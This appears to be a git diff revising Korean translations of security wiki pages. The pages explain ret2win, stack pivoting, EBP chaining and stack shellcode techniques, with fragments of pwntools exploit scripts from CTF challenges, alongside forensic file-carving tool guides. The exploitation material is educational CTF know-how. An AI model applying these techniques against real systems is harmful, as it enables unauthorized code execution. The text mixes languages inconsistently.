버퍼가 오버플로우되고 스택의 반환 주소가 `win`의 주소로 덮어씌워집니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다. -## 보호 조치 +## Protections -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다. -- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다. +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 또한 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따르지 않을 것입니다. -## 기타 예제 및 참조 +## Other examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32비트, ASLR 없음 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) -- ASLR가 있는 64비트, 바이너리 주소의 누출 포함 +- ASLR가 있는 64비트, bin 주소의 leak 포함 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64비트, ASLR 없음 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) @@ -86,19 +86,19 @@ Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulner - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) -- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte) +- 32비트, nx, 그 외 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte) - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) -- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte) +- 32비트, nx, 그 외 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64비트, relro, 카나리 없음, nx, pie. `win` 함수를 호출하기 위한 부분 덮어쓰기 (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) -- arm64, PIE, PIE 누출이 발생하며 `win` 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯 +- arm64, PIE, PIE leak를 제공하며 `win` 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - ARM64, off-by-one으로 `win` 함수를 호출 -## ARM64 예제 +## ARM64 Example {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 7acf7dd27..4a6f2a2be 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -1,4 +1,4 @@ -# 스택 피벗 - EBP2Ret - EBP 체이닝 +# 스택 피벗팅 - EBP2Ret - EBP 체이닝 {{#include ../../banners/hacktricks-training.md}} @@ -12,51 +12,51 @@ mov ebp, esp pop ebp ret ``` -그리고 **EBP가 스택에** 있을 때 EIP 앞에 있기 때문에 스택을 제어하여 이를 제어할 수 있습니다. +And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. ### EBP2Ret 이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다. -`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes는 `pop` 작업을 고려한 것입니다), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 합니다.**\ -여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 갈 주소와 ESP가 가리키는 주소를 써야 할 주소입니다. +`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 저장한 주소를 가리키게 합니다.**\ +여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다. #### Exploit Construction -먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가고 **첫 번째 `ret`을 실행합니다.** +먼저, **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가리키고 **첫 번째 `ret`을 실행합니다.** 그 다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다: - 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소. -- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 비트). +- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 bits). - **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**. -- 일부 [**ROP**](../rop-return-oriented-programing/) 체인 +- 일부 [**ROP**](../rop-return-oriented-programing/index.html) 체인. 제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다. #### Off-By-One Exploit -이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우 **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\ +이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\ 보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다. 또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다. ### **EBP Chaining** -따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면 **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.** +따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.** -이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다: +이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다: - **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다. - **`system()`** -> `ret`에 의해 호출됩니다. - **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다. -- **`&("/bin/sh")`** -> `system`의 매개변수 +- **`&("/bin/sh")`**-> `system`의 매개변수입니다. 기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다. -이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/)와 비슷하지만, 명백한 이점 없이 더 복잡할 수 있으며 일부 엣지 케이스에서 흥미로울 수 있습니다. +이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서 흥미로울 수 있습니다. -또한, 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다: +또한, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다: ```python from pwn import * @@ -94,8 +94,8 @@ print(p.recvline()) ``` ## EBP는 사용되지 않을 수 있음 -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 만약 바이너리가 일부 최적화와 함께 컴파일된다면, **EBP는 ESP를 제어하지 못함**으로 인해, EBP를 제어하여 작동하는 어떤 익스플로잇도 기본적으로 실패하게 됩니다.\ -이는 **프로롤로그와 에필로그가** 바이너리가 최적화되면 변경되기 때문입니다. +As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ +This is because the **prologue and epilogue changes** if the binary is optimized. - **최적화되지 않음:** ```bash @@ -119,11 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` -## RSP를 제어하는 다른 방법 +## RSP 제어의 다른 방법 ### **`pop rsp`** 가젯 -[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 leak**이 있었습니다: +[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누출**이 있었습니다: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -188,11 +188,11 @@ ret2esp 기술에 대한 내용은 여기에서 확인하세요: - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다. +- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 다시 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다. ## ARM64 -ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가 **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다. +ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다. 따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**. @@ -215,7 +215,7 @@ ret > [!CAUTION] > ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 **제어할 수 있는 것**입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 수행하는 것입니다. -다음 페이지에서도 **ARM64에서의 Ret2esp**에 해당하는 내용을 확인할 수 있습니다: +다음 페이지에서도 **ARM64에서의 Ret2esp**의 동등한 내용을 확인할 수 있습니다: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 6a92c8c4c..d35557604 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,7 +4,7 @@ ## Basic Information -**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터(IP)** 또는 **확장 명령 포인터(EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되게 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다. +**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다. ### C Example: A Vulnerable Program @@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ### Python Exploit using Pwntools -다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 익스플로잇을 Python으로 작성하는 방법입니다: +여기 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python 익스플로잇을 작성하는 방법이 있습니다: ```python from pwn import * @@ -72,20 +72,20 @@ p.interactive() ## 보호 조치 -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **은 비활성화되어야** 실행 간에 주소가 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. -- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. +- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다. - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다. -## 기타 예제 및 참고 자료 +## 기타 예제 및 참조 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드 작성 및 점프 +- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32비트, 스택 leak가 있는 ASLR, 쉘코드 작성 및 점프 +- 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값 덮어쓰기 및 쉘코드 작성 및 점프 +- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프 +- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 7e888ecda..999afe2ac 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,7 +8,7 @@ ### Autopsy -이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 추가하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. +이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. ### Binwalk @@ -40,11 +40,11 @@ scalpel file.img -o output 이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: +이 도구는 이미지를 스캔하고 그 안에서 **pcaps**를 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 것은: ``` bulk_extractor memory.img -o out_folder ``` -모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인). +모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/index.html)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인). ### PhotoRec @@ -81,7 +81,7 @@ BinVis는 블랙박스 시나리오에서 알려지지 않은 대상을 익히 ## 보조 도구 -터미널에서 이미지를 보려면 [**viu** ](https://github.com/atanunq/viu)를 사용할 수 있습니다.\ -PDF를 텍스트로 변환하고 읽으려면 리눅스 명령줄 도구 **pdftotext**를 사용할 수 있습니다. +[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\ +리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 749e21700..d06844cbd 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -4,11 +4,11 @@ ## Autopsy -포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 분석하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. +포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. ## Binwalk -**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 내장된 파일과 데이터를 검색하는 도구입니다. `apt`를 사용하여 설치할 수 있으며, [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다. +**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 내장된 파일과 데이터를 검색하는 도구입니다. `apt`로 설치할 수 있지만 [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다. **유용한 명령어**: ```bash sudo apt install binwalk #Insllation @@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ## Foremost -또 다른 일반적인 도구는 **foremost**로, 숨겨진 파일을 찾는 데 사용됩니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다. +또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -33,13 +33,13 @@ scalpel file.img -o output ``` ## Bulk Extractor -이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +이 도구는 kali에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) -이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보(URLs, 도메인, IPs, MACs, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: +이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보(URLs, domains, IPs, MACs, mails)** 및 기타 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: ```text bulk_extractor memory.img -o out_folder ``` -모든 정보를 탐색하십시오 \(비밀번호?\), 패킷을 분석하십시오 \(읽기 [ **Pcaps 분석**](../pcap-inspection/)\), 이상한 도메인을 검색하십시오 \(악성코드 또는 존재하지 않는 도메인과 관련된 도메인\). +모든 정보를 탐색하십시오 \(비밀번호?\), 패킷을 분석하십시오 \(읽기 [ **Pcaps 분석**](../pcap-inspection/index.html)\), 이상한 도메인을 검색하십시오 \( **악성코드** 또는 **존재하지 않는** 도메인과 관련된\). ## PhotoRec @@ -55,10 +55,10 @@ GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유 키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 것과 같은 128, 192 및 256 비트 키를 찾을 수 있습니다. -[여기에서 다운로드](https://sourceforge.net/projects/findaes/). +[여기에서 다운로드](https://sourceforge.net/projects/findaes/)하십시오. # 보조 도구 -[**viu** ](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 pdf를 텍스트로 변환하고 읽을 수 있습니다. +[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 4d5a3aa4e..e57e1c77f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,7 +8,7 @@ ### Autopsy -포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 입력하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. +포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 추가하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 